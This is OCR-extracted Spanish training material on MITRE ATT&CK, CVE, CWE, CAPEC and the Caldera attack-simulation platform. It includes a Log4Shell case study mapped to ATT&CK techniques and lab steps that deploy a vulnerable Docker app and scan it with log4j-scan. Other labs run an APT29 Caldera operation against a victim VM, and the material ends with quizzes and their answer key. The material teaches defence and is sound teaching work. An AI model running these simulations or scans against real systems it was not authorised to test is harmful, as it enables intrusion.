adversaries
operations

schedules Manage Agents =

& PLUGINS

access

. Server
atomic . .
Your Caldera instance is
compass

debrief

running at
http://0.0.0.0:8888

2 Operations

Manage Operations =

1858 Abilities

Manage Abilities =

30 Adversaries

Manage Adversaries =
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PRACTICAS Y EJERCICIOS DEL CAPITULO 3

Pregunta 11 (seleccion multiple):
¢Qué es Caldera?

a) Herramienta para simular ataques
b) Antivirus
c) Firewall
d) Navegador web
Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 12 (seleccion multiple):
La interfaz grafica de Caldera se divide en:

a) Objetivos, Plugins y Ataques
b) Objetivos, Plugins y Configuracion
c) Objetivos, Configuracién y Ataques
d) Campanias, Plugins y Configuracion
Todas las respuestas, las encontraras al final de este articulo, en la seccidn “Respuestas”.

Pregunta 13 (seleccion multiple):
La conexion inicial al servidor usa la URL:

a) http://localhost:8080,
b) http://192.168.1.1:8889,
c) http://localhost:8888,
d) http://localhost:4200,
Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 14 (seleccion multiple):

Cudl de los siguientes NO es un agente de Caldera:

MITRE.org 61



Alejandro Corletti Estrada

&

=

www.darFe.es

a) Sancat

b) Manx

c) Metasploit
d) Ragdoll

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

MITRE.org
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4. Integracion de ATT&CK, CVE, CWE y CAPEC en un Caso Real
(@ objetivo del médulo

Aplicar todos los conocimientos adquiridos en el curso para analizar y documentar un ataque real, identificando las tacticas, técnicas, vulnerabilidades,
debilidades y patrones involucrados, y proponiendo defensas especificas.

4.1 Caso: Apache Log4Shell (CVE-2021-44228)

% Descripcion:

Un atacante aprovecha una vulnerabilidad critica en Apache Log4j2 (que venimos planteando desde el principio), para ejecutar cédigo
remotamente en servidores web.

@ Contexto:
e Afno: 2021
e Afecta: Apache Log4j2 (versiones 2.0-beta9 a 2.14.1)

e Impacto: Acceso completo al servidor, ejecucién remota, pivote lateral, persistencia
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4.2 Etapas del ataque y mapa MITRE ATT&CK

Fase

Técnica ATT&CK ID

Detalle del ataque

Initial Access Exploit Public-Facing Application|T1190

El atacante explota una app vulnerable expuesta a internet

Execution

Remote Code Execution via JNDI|{[T1059.001

El payload inyectado activa JNDI y ejecuta cédigo Java

Defense Evasion||Obfuscated Files or Information ||T1027

El payload estd ofuscado, muchas veces codificado en Base64

Persistence Create Account / Web Shell T1136 / T1505.003

Se crea un usuario o se sube un backdoor

Exfiltration Encrypted Channel T1041

Datos extraidos usando HTTPS o DNS tunelado

Visualizar con ATT&CK Navigator: Crear una capa marcando estas técnicas y suplantando los colores segun gravedad.

4.3 Elementos relacionados

Elemento Detalle

CVE CVE-2021-44228

CWE CWE-502: Deserialization of Untrusted Data
CAPEC CAPEC-137: Parameter Injection

4.4 Simulacion del ataque con entorno controlado
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Opcidon A: Usando Docker

1. Ejecuta un servidor vulnerable (Log4Shell)

bash

CopiarEditar

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app

docker-compose up -d

Simula un ataque con logé4j-scan:

bash

CopiarEditar

git clone https://github.com/fullhunt/log4j-scan.git

cd logdj-scan

python3 logd4j-scan.py -u http://localhost:8080

3. Verifica que se identifique la vulnerabilidad.
Opcidn B: Caldera de MITRE

1. Usa el adversario simulado: log4shell_exploit.json.

2. Crea una operacion con Caldera.

3. Observa qué técnicas ATT&CK se activan y captura resultados.
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4.5 / EJERCICIO FINAL: Analisis, correlacion y mitigacion

P Parte 1: Correlacion de datos

Completa la siguiente tabla:

Etapa ATT&CK|| Técnica |CVE relacionado CWE CAPEC |[Evidencia (comando, log, exploit)
Initial Access |[T1190 CVE-2021-44228||CWE-502 CAPEC-137||curl + payload JNDI

Execution T1059.001 Cddigo activado via JNDI
Persistence T1505.003 CWE-434 (upload)||CAPEC-273|webshell en /uploads/

P Parte 2: Propuesta de mitigaciones

Técnica ATT&CK

Mitigacion recomendada

Herramienta defensiva sugerida

T1190 Validar input, WAF, parcheo rédpido||ModSecurity, F5, Snort
T1059.001 Restringir ejecucion remota AppArmor, SELinux, CloudTrail
T1505.003 Filtrar carga de archivos AV, reglas SIEM, antivirus

P Parte 3: Informe final del incidente (Resumen ejecutivo)

Redacta un documento en lenguaje no técnico, resumiendo:

e Qué ocurrio (vulnerabilidad explotada)

e Quéimpacto tuvo
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¢ Qué controles deben aplicarse

e Cuadl es el nivel de riesgo si no se actua

Puedes utilizar esta estructura como entrega final o presentacion de proyecto grupal.

@ Material complementario
e Modelo de capa ATT&CK en JSON (APT29, Log4Shell)

#® RESUMEN DEL MODULO

e Las matrices y catalogos de MITRE se integran de forma légica:
o ATT&CK: como ataca
o CVE: qué vulnerabilidad se explota
o CWE: qué debilidad lo permitio
o CAPEC: qué patron se aplico
e Esta correlacidon permite:
o Modelar amenazas
o Detectary responder mas rapido

o Priorizar medidas y pruebas de seguridad

MITRE.org

67


https://github.com/mitre-attack/attack-navigator/blob/master/layers

Alejandro Corletti Estrada wwe.darFe.cs

5. EJERCICIO 2: Simular y analizar una campana de ataque
Objetivo:

Simular una operacion APT real con Mitre Caldera y mapearla en ATT&CK.

Parte 1: Preparar entorno
1. Levantar dos maquinas, si fueran virtuales trebajariamos mas tranquilos (VMs):
o 1 atacante (Caldera)
o 1 victima (Windows o Linux con acceso habilitado)

2. Ejecutar Calderay conectar un agente en la victima.

Parte 2: Ejecutar la operacion
1. En Caldera:
o Crear una nueva operacion = adversario APT29 - objetivo: maquina victima.
o Ejecutary observar los pasos.
2. Ver en tiempo real:
o Cada técnica usada.
o Qué comandos se ejecutan.

o Resultados de cada fase.

Parte 3: Analisis en ATT&CK Navigator
1. Exporta la operacién en formato JSON.
2. Abre ATT&CK Navigator online.
3. Carga los IDs de técnicas utilizadas.
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4. Colorea segln categorias: Initial Access (rojo), Persistence (amarillo), Credential Access (naranja), etc.

Parte 4: Informe de defensa

Preguntas guia:

¢Cuales técnicas fueron detectadas por el antivirus?

¢Qué técnicas fueron exitosas y cuales fallaron?

¢Qué controles defensivos habrian evitado el ataque?

¢Como se podrian automatizar estas detecciones?

SOLUCION Y ANALISIS DEL CASO

Técnicas identificadas: T1566.001, T1059, T1003, T1547.001, T1027

Defensas posibles:

o

o

o

Bloqueo de macros (Office hardening)
Restriccion de PowerShell a modo "Constrained"
Monitoreo de Isass.exe y alertas de dump

LAPS para control de credenciales locales
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6. Respuestas

Capitulo 1: Introduccion a MITRE.org y MITRE ATT&CK
Parte 1: Navegacion guiada (respuestas personales)
Parte 2: Ejercicio practico: Caso practico: Log4Shell
1. CVE-2021-44228 afecta a Apache Log4j 2 y tiene un CVSS de 10.0 (critico).
2. EI CWE relacionado es CWE-502: Deserialization of Untrusted Data.
3. El patrén CAPEC relacionado es CAPEC-137: Parameter Injection o CAPEC-248: Command Injection.
4. En MITRE ATT&CK:
o Técnica: T1190 — Exploit Public-Facing Application
o Tactica: Initial Access
o Mitigacion recomendada: Web application firewalls, actualizacion de software, desactivacion de funciones peligrosas.
Pregunta 1:
¢Qué significa CVE?
Respuesta: a) Common Vulnerabilities and Exposures
Pregunta 2:
éPara qué sirve buscar un CVE?
Respuesta: b) Identificar vulnerabilidades conocidas
Pregunta 3:
¢Qué describe CWE?
Respuesta: b) Debilidades en software y hardware
Pregunta 4:

¢CWE ayuda principalmente a?

MITRE.org

70



Alejandro Corletti Estrada

Respuesta: b) Prevenir debilidades
Pregunta 5:
CAPEC es una base de datos para?
Respuesta: b) Patrones de ataque
Pregunta 6:
CAPEC se usa para?
Respuesta: a) Formacion en seguridad ofensiva y defensiva
Pregunta 7:
Ordena la cadena:

Respuesta correcta: CVE - CWE - CAPEC - ATT&CK

Capitulo 2 — Comprendiendo las Tacticas de MITRE ATT&CK

Pregunta 8:
éPara qué sirve principalmente MITRE ATT&CK?
Respuesta correcta: b) Mapear tacticas y técnicas de ataque usadas por adversarios

Pregunta 9:
¢Las tacticas en ATT&CK representan?

Respuesta: b) Objetivos o metas del adversario
Pregunta 10:
¢Quién puede usar MITRE ATT&CK para mejorar la seguridad?

Respuesta: b) Red teams y defensores
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Capitulo 3. Mitre Caldera

Pregunta 11:
éQué es Caldera?
Respuesta: a) Herramienta para simular ataques
Pregunta 12:
La interfaz grafica de Caldera se divide en:
Respuesta: d) Campafias, Plugins y Configuracion
Pregunta 13:
La conexion inicial al servidor usa la URL:
Respuesta: c) http://localhost:8888,
Pregunta 14:
Cudl de los siguientes NO es un agente de Caldera:

Respuesta: c) Metasploit
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